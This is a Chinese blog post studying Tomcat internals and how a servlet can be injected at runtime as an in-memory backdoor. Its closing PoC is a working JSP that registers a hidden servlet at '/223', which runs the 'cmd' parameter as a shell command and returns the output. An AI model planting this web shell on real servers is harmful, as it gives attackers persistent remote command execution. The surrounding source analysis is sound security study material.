Tomcat Java内存马 Servlet型
学完Listener型和Filter型后,了解到还有Servlet型,发现之前一些不懂的地方有点眉目了。特别是ContextConfig是怎么弄出来的,还有web.xml配置怎么读取这些问题,在Listener和Filter的时候调了好久没找到。
什么是Servlet?
Tomcat服务器是一个免费的开放源代码的Web应用服务器,Tomcat是Apache软件基金会Apache Software Foundation的Jakarta项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat是应用服务器
,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。
从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
Tomcat由四大容器组成,分别是Engine
、Host
、Context
、Wrapper
。这四个组件是负责关系,存在包含关系。
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表Servlet的Context,它具备了Servlet运行的基本环境,它表示Web应用程序本身。Context最重要的功能就是管理它里面的Servlet实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个Servlet,它负责管理一个Servlet,包括的Servlet的装载、初始化、执行以及资源回收。Wrapper是最底层的容器,它没有子容器了,所以调用它的addChild将会报错。
Servlet
简单了解一下Servlet后就要进行源码分析了,首先写一个Demo。这里我们选择实现Servlet
接口,该接口需要@Override
5个方法。
import javax.servlet.*;
import java.io.IOException;
public class ServletDemo02 implements Servlet { // 这里打断点
@Override
public void init(ServletConfig servletConfig) throws ServletException {}
@Override
public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("ServletDemo02 service");
}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {}
}
配置一下web.xml
<servlet>
<servlet-name>ServletDemo02</servlet-name>
<servlet-class>servlet.ServletDemo02</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletDemo02</servlet-name>
<url-pattern>/servletdemo02</url-pattern>
</servlet-mapping>
调试模式访问/servletdemo02
目录,在StandardWrapper.setServletClass(String servletClass)
打断点停下,往上回溯到ContextConfig.configureStart()
,在该方法里进行实例化。
//ContextConfig.java
/**
* Process a "contextConfig" event for this Context.
*/
protected synchronized void configureStart() {
webConfig();
}
/**
* Scan the web.xml files that apply to the web application and merge them
* using the rules defined in the spec. For the global web.xml files,
* where there is duplicate configuration, the most specific level wins. ie
* an application's web.xml takes precedence over the host level or global
* web.xml file.
*/
protected void webConfig(){}
在webConfig()
方法里读取web.xml的各种配置
//ContextConfig.java
protected void webConfig() {
WebXml webXml = createWebXml();
// Parse context level web.xml
InputSource contextWebXml = getContextWebXmlSource();
if (!webXmlParser.parseWebXml(contextWebXml, webXml, false)) {
ok = false;
}
// Step 9. Apply merged web.xml to Context
if (!webXml.isMetadataComplete()) {
if (ok) {configureContext(webXml);}
}
}
创建WebXml对象然后通过getContextWebXmlSource()
方法把web.xml的字节流byte[]
读到contextWebXml里,然后通过webXmlParser.parseWebXml(contextWebXml, webXml, false)
分析字节流并将分析出的配置信息设置到webXml里。
最后在configureContext(webXml)
方法中把各种配置信息配置到Context.context上。
configureContext(webXml)
方法依次读取Filter
、Listener
、Servlet
的配置及其映射,我们直接关注Servlet
部分
//ContextConfig.java
private void configureContext(WebXml webxml) {
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
/*...*/
context.addChild(wrapper);
}
}
在Tomcat的架构设计中,一个Wrapper管理一个Servlet,换句话说Wrapper封装了一个Servlet对象,所以首先createWrapper()
创建一个Wrapper,然后设置启动优先级LoadOnStartup和ServletName以及ServletClass。
最后将wrapper加入到context里context.addChild(wrapper)
,也就是加入到上下文。
然后再将servlet和servlet-mapping做映射
//ContextConfig.java
private void configureContext(WebXml webxml) {
/*...*/
for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
//StandardContext.java
@Override
public void addServletMappingDecoded(String pattern, String name,
boolean jspWildCard) {
String adjustedPattern = adjustURLPattern(pattern);
// Add this mapping to our registered set
synchronized (servletMappingsLock) {servletMappings.put(adjustedPattern, name);}
Wrapper wrapper = (Wrapper) findChild(name);
wrapper.addMapping(adjustedPattern);
fireContainerEvent("addServletMapping", adjustedPattern);
}
通过Servlet的分析反而把之前比较迷糊的Filter和Listener如何装载的问题给顺便搞定了。
总结一下,Servlet的生成与动态添加依次进行了以下步骤:
-
通过
context.createWapper()
创建Wapper对象; -
设置Servlet的LoadOnStartUp的值;
-
设置Servlet的Name;
-
设置Servlet对应的Class;
-
将Servlet添加到context的children中;
-
将URL路径和servlet类做映射。
如何加载Servlet?
在org.apache.catalina.core.StandardWapper.loadServlet()
打断点,从调用栈往上回溯到startInternal()
,在startInternal()
中通过loadOnStartup()
方法加载和初始化被设置了load on startup的servlet。
//StandardContext.java
/**
* Start this component and implement the requirements
* of {@link org.apache.catalina.util.LifecycleBase#startInternal()}.
*
* @exception LifecycleException if this component detects a fatal error
* that prevents this component from being used
*/
@Override
protected synchronized void startInternal() throws LifecycleException
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
}
findChildren()
把之前context.addChild(wrapper)
加入的字段child的Wrapper转换成数组给loadOnStartup()
。
//StandardContext.java
/**
* Load and initialize all servlets marked "load on startup" in the
* web application deployment descriptor.
*
* @param children Array of wrappers for all currently defined
* servlets (including those not declared load on startup)
* @return <code>true</code> if load on startup was considered successful
*/
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
}
catch (ServletException e) {}
}
}
return true;
}
根据注释可以很容易的看出这个函数在做什么,获取所有load on startup大于0的servlet并wrapper.load()
。
load-on-startup元素取值规则如下:
- 它的取值必须是一个整数;
- 当值小于
0
或者没有指定时,则表示容器在该Servlet被首次请求时才会被加载; - 当值大于
0
或等于0
时,表示容器在启动时就加载并初始化该Servlet,取值越小,优先级越高; - 当取值相同时,容器就会自行选择顺序进行加载。
Poc
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
// 一个小路径快速获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
//newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
<%
// url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/223", name);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
不知道参考文章里的newWrapper.setLoadOnStartup(1)
用意是什么,至少我本地测试就算注释了也不影响。而且根据 <load-on-startup> 的取值规则看上去也没有任何影响。这里先存疑?
参考文章